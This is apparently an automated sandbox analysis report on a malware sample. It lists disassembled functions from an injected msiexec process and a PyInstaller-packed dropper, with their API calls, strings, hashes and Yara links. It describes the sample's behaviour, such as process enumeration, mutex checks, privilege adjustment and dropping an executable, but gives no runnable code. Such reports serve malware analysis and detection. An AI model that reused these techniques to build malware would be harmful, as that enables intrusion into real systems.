Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction ID: f48cf8c61453818e8ba709d73e65a026bda4a62ad1943684e3cb858a9bef985f
Opcode Fuzzy Hash: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction Fuzzy Hash: 5701A526A0EA4281E720DF11E85527D6770FB9CBB9F440131E9CECA775CF3DD985A600

Function 00007FF63B5238C4 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF63B523744: GetWindowsDirectoryW.KERNEL32 ref: 00007FF63B523784
Part of subcall function 00007FF63B523744: GetVolumeInformationW.KERNEL32 ref: 00007FF63B523801
Part of subcall function 00007FF63B523744: wsprintfW.USER32 ref: 00007FF63B5238A2

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B52390D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523922
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523935
CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523945
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B52396D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523980
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523995

Strings

.exe, xrefs: 00007FF63B523986

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: lstrcat$Directory$CreateFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 943468954-4119554291
Opcode ID: 4d26158de2af8381748b2d04efe2df67fec403f4766650bccdbd64d4b22479f1
Instruction ID: 1646a91c544e42d893665ce97dd043428f649edd51ed84ec4470bb297e5b9d4e
Opcode Fuzzy Hash: 4d26158de2af8381748b2d04efe2df67fec403f4766650bccdbd64d4b22479f1
Instruction Fuzzy Hash: 9811332172A98685DB60DF25F85476A6371FBD8B90F405031DACE87B3ADE3CD508DB00

Function 00007FF63B523E24 Relevance: 13.5, APIs: 9, Instructions: 44
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF63B523E37
Process32FirstW.KERNEL32 ref: 00007FF63B523E6A
CloseHandle.KERNEL32 ref: 00007FF63B523E7C

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction ID: 5833f118abf1cba26e76f4ea764b49aa034405b9ff33cbc972ffa173d3949b37
Opcode Fuzzy Hash: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction Fuzzy Hash: 5121BC31A0D98685E770DF11E84836A6370FBD8B64F004235D99E8A6B9DF3DD949EB00

Function 00007FF63B522F0C Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF63B522F1E
ReleaseMutex.KERNEL32 ref: 00007FF63B522F36
CloseHandle.KERNEL32 ref: 00007FF63B522F41
GetLastError.KERNEL32 ref: 00007FF63B522F4E
ReleaseMutex.KERNEL32 ref: 00007FF63B522F60
CloseHandle.KERNEL32 ref: 00007FF63B522F6B

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction ID: 16665ae6cd5dda3edff3a5bd3a5560d8aa660d95ec0b5302ef820ecadff1ce6d
Opcode Fuzzy Hash: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction Fuzzy Hash: B201C426A1DA8282E720DF21E85526E6370FBDCB65F400135E9CECA779CE3DD944A600

Function 00007FF63B523CE4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF63B523D01
PathFindFileNameW.SHLWAPI ref: 00007FF63B523D14
wcslen.MSVCRT ref: 00007FF63B523D2A
wcsncpy.MSVCRT ref: 00007FF63B523DEF

Strings

Unknown, xrefs: 00007FF63B523DE0

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction ID: a2807a2c0390a918f5f8ddebbdee264c904e145e9cb7070e252cf2848a6749c5
Opcode Fuzzy Hash: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction Fuzzy Hash: CC31A47661DAC485DB70DF19E4987AAA3A0F798B50F400225DACEC7B68DF3CD554DB00

Function 00007FF63B524004 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF63B524022
Process32FirstW.KERNEL32 ref: 00007FF63B524054
wcscmp.MSVCRT ref: 00007FF63B52406B
CloseHandle.KERNEL32 ref: 00007FF63B5240A1

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction ID: 84e61c8879458198207fb198f24ebf65262b078f65a31a037f629ecf7b957a88
Opcode Fuzzy Hash: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction Fuzzy Hash: 22110C71A0DA8682E774CF21E48836A63A0FBD8765F004335D6DD8A7A9DF3DD544EB00

Function 00007FF63B523744 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF63B523784
GetVolumeInformationW.KERNEL32 ref: 00007FF63B523801
wsprintfW.USER32 ref: 00007FF63B5238A2

Strings

%08lX%04lX%lu, xrefs: 00007FF63B523893

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction ID: b6746c381f3018fb1e571b15f6645100bb3b4a32be37b19551172dd92f2f8841
Opcode Fuzzy Hash: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction Fuzzy Hash: 7331E72661D5C18ADB20DF64E4983AAB3B0FB98710F401136E6CD8BA69DF7DC508DB00

Function 00007FF63B522F9C Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63B5238C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B52390D
Part of subcall function 00007FF63B5238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523922
Part of subcall function 00007FF63B5238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523935
Part of subcall function 00007FF63B5238C4: CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523945
Part of subcall function 00007FF63B5238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B52396D
Part of subcall function 00007FF63B5238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523980
Part of subcall function 00007FF63B5238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523AA9), ref: 00007FF63B523995

Part of subcall function 00007FF63B5240E4: GetCurrentProcess.KERNEL32 ref: 00007FF63B52414B
Part of subcall function 00007FF63B5240E4: OpenProcessToken.ADVAPI32 ref: 00007FF63B52415E
Part of subcall function 00007FF63B5240E4: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF63B524186
Part of subcall function 00007FF63B5240E4: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF63B5241B1
Part of subcall function 00007FF63B5240E4: CloseHandle.KERNEL32 ref: 00007FF63B5241BC
Part of subcall function 00007FF63B5240E4: OpenProcess.KERNEL32 ref: 00007FF63B5241D1
Part of subcall function 00007FF63B5240E4: CloseHandle.KERNEL32 ref: 00007FF63B524249

GetProcessHeap.KERNEL32 ref: 00007FF63B523037
HeapFree.KERNEL32 ref: 00007FF63B52304A

Strings

chFrWWdQWsLFevUr, xrefs: 00007FF63B522FDB
.x64, xrefs: 00007FF63B522FEE

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: lstrcat$Process$CloseHandleHeapOpenToken$AdjustCreateCurrentDirectoryFolderFreeLookupPathPrivilegePrivilegesValue
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 3235591951-2286007224
Opcode ID: cbab157b2d9c68e389ca682648b14c554c0f20e1364e44505b152457a58d70d4
Instruction ID: 9dcd884d7ef1314b6a316632d8aa941a5dd123c4edfbc7fba8cb76fbd2d21773
Opcode Fuzzy Hash: cbab157b2d9c68e389ca682648b14c554c0f20e1364e44505b152457a58d70d4
Instruction Fuzzy Hash: 1311D621A1AA8285EA10EF14E8453A977A0FB8C724F404135D5CCCB77ADF3CE559AB40

Analysis Process: 56C7.tmp.ctx.exePID: 1596, Parent PID: 2592COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00007FF7102C1000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7102C37EF
pyi-contents-directory, xrefs: 00007FF7102C35F8
ERROR: failed to remove temporary directory: %s, xrefs: 00007FF7102C3A12
MEI, xrefs: 00007FF7102C374E
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7102C3820
pkg, xrefs: 00007FF7102C37CF
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7102C36FC
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7102C3653
pyi-disable-windowed-traceback, xrefs: 00007FF7102C361D
Failed to start splash screen!, xrefs: 00007FF7102C3933
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7102C391A
WARNING: failed to remove temporary directory: %s, xrefs: 00007FF7102C3A31
pyi-runtime-tmpdir, xrefs: 00007FF7102C35D3
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7102C378C
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7102C3905
_MEIPASS2, xrefs: 00007FF7102C36A2, 00007FF7102C36AE, 00007FF7102C39AC
Failed to convert DLL search path!, xrefs: 00007FF7102C38A3
Could not create temporary directory!, xrefs: 00007FF7102C3838

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-runtime-tmpdir
API String ID: 514040917-585287483
Opcode ID: 775923453a712acf451f733b21357bad863ee7a2324b45427f12e736a4958b8f
Instruction ID: cca435bbda14adafb9fc625ea32514403f384e5e3c96569e3c00c80d3c286be6
Opcode Fuzzy Hash: 775923453a712acf451f733b21357bad863ee7a2324b45427f12e736a4958b8f
Instruction Fuzzy Hash: 37F19021A28E8291FA19FB20D6552F9EB51AF447A0FC48431DA5D437D6EF2CF65CC360

Function 00007FF7102E5C74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7102E59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E59E9
Part of subcall function 00007FF7102E59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E5A67
Part of subcall function 00007FF7102E59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E5AB8

CreateFileW.KERNELBASE ref: 00007FF7102E5D7A
CreateFileW.KERNEL32 ref: 00007FF7102E5DCA
GetLastError.KERNEL32 ref: 00007FF7102E5DFA
GetFileType.KERNELBASE ref: 00007FF7102E5E0F
GetLastError.KERNEL32 ref: 00007FF7102E5E19
CloseHandle.KERNEL32 ref: 00007FF7102E5E4C
CloseHandle.KERNEL32 ref: 00007FF7102E5FAF
CreateFileW.KERNEL32 ref: 00007FF7102E5FE4
GetLastError.KERNEL32 ref: 00007FF7102E5FF3

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction ID: 8aa53c75860bba3fa9c257e1e5a99d171ce34b3a74009042b355a960b361eed1
Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction Fuzzy Hash: 43C1E433B24E5186EB10DF68C4902AD7B61FB49BA8B411235DF1E67794DF38E559C320

Function 00007FF7102C79B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7A1B
RemoveDirectoryW.KERNEL32(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7A9E
DeleteFileW.KERNELBASE(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7ABD
FindNextFileW.KERNELBASE(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7ACB
FindClose.KERNEL32(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7ADC
RemoveDirectoryW.KERNELBASE(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7AE5

Strings

%s\*, xrefs: 00007FF7102C79E2

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction ID: b54c1747e3f2ea37ddd525ee615bfaaa4371c2f43a82d816aff29c4889bda2d2
Opcode Fuzzy Hash: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction Fuzzy Hash: BC418D21A2CE4295EB20BB24E5545BEA761FB947B4FC00232D99D52794DF3CF64ECB20

Function 00007FF7102C85A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7102C85D3
FindClose.KERNELBASE ref: 00007FF7102C85E2

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction ID: 685b96d5d7ad67f7eddb0fa77934927e8187ca659d535f332a28d34b347711cc
Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction Fuzzy Hash: 4CF0C822A28A4186F7619B60B598366B750AB44778F844335D96E127D4CF7CF05C8A14

Function 00007FF7102DFBD8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 635691222d115479c28cfb2a7c5460ed6ba239ea5ddb69637bfcc6e4d3ccf923
Instruction ID: d2724f6ba6d06995308cd3ee675da1f64c5c3d1ef10cd0dab4e50eecf7c10335
Opcode Fuzzy Hash: 635691222d115479c28cfb2a7c5460ed6ba239ea5ddb69637bfcc6e4d3ccf923
Instruction Fuzzy Hash: F202C222B1EE8740FAA1BB15944067AEA81AF05BB0FC44639ED5D567D1DE3CFC498334

Function 00007FF7102C18F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7102C76A0: _fread_nolock.LIBCMT ref: 00007FF7102C774A

_fread_nolock.LIBCMT ref: 00007FF7102C19B4

Part of subcall function 00007FF7102C2760: MessageBoxW.USER32 ref: 00007FF7102C283B

Strings

fseek, xrefs: 00007FF7102C1990
Could not read full TOC!, xrefs: 00007FF7102C1AD4
MEI, xrefs: 00007FF7102C1931
Failed to seek to cookie position!, xrefs: 00007FF7102C1989
Could not allocate buffer for TOC!, xrefs: 00007FF7102C1AA1
calloc, xrefs: 00007FF7102C19F5
malloc, xrefs: 00007FF7102C1AA8
Failed to read cookie!, xrefs: 00007FF7102C19BF
Could not allocate memory for archive structure!, xrefs: 00007FF7102C19EE
fread, xrefs: 00007FF7102C19C6, 00007FF7102C1ADB
Error on file., xrefs: 00007FF7102C1B0A

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 677216364-3497178890
Opcode ID: ca7681533d335b3149c99a7518be3735f09406e3e8687230da297a1087ab093f
Instruction ID: 007d373095b30d620df114ae9d0f47ca2be00f462190123030a4d5393fba77e4
Opcode Fuzzy Hash: ca7681533d335b3149c99a7518be3735f09406e3e8687230da297a1087ab093f
